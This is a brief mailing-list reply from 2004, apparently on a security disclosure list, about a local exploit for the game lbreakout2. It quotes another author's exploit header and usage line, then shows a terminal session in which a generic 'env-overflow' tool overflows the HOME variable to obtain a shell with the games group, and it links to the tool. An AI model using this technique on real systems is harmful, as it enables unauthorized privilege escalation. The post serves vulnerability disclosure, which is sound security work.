On Sun, Feb 22, 2004 at 01:45:45PM -0000, Li0n7 (at) voila (dot) fr [email concealed] wrote:

> /*
> * lbreakout2 < 2.4beta-2 local exploit by Li0n7 (at) voila (dot) fr [email concealed]
> * vulnerability reported by Ulf Harnhammar <Ulf.Harnhammar.9485 (at) student.uu (dot) se [email concealed]>
> * usage: ./lbreakout2-exp [-r <RET>][-b [-s <STARTING_RET>]]
> *
> */

I much prefer mine ;)

Using the `env-overflow` tool this may be exploited without
the need for a valid X11 display - ie. ssh/telnet access
sufficient - or any explicit coding:

skx@uml:~$ ./env-overflow /usr/games/lbreakout2 1084 HOME
... snip ...
sh-2.05a$
sh-2.05a$ id
uid=1000(skx) gid=100(users) egid=60(games) groups=100(users)

Where env-overflow lives here:

http://www.steve.org.uk/Hacks/generic.html

Steve
--
# Debian Security Audit Project
http://www.shellcode.org/Audit/

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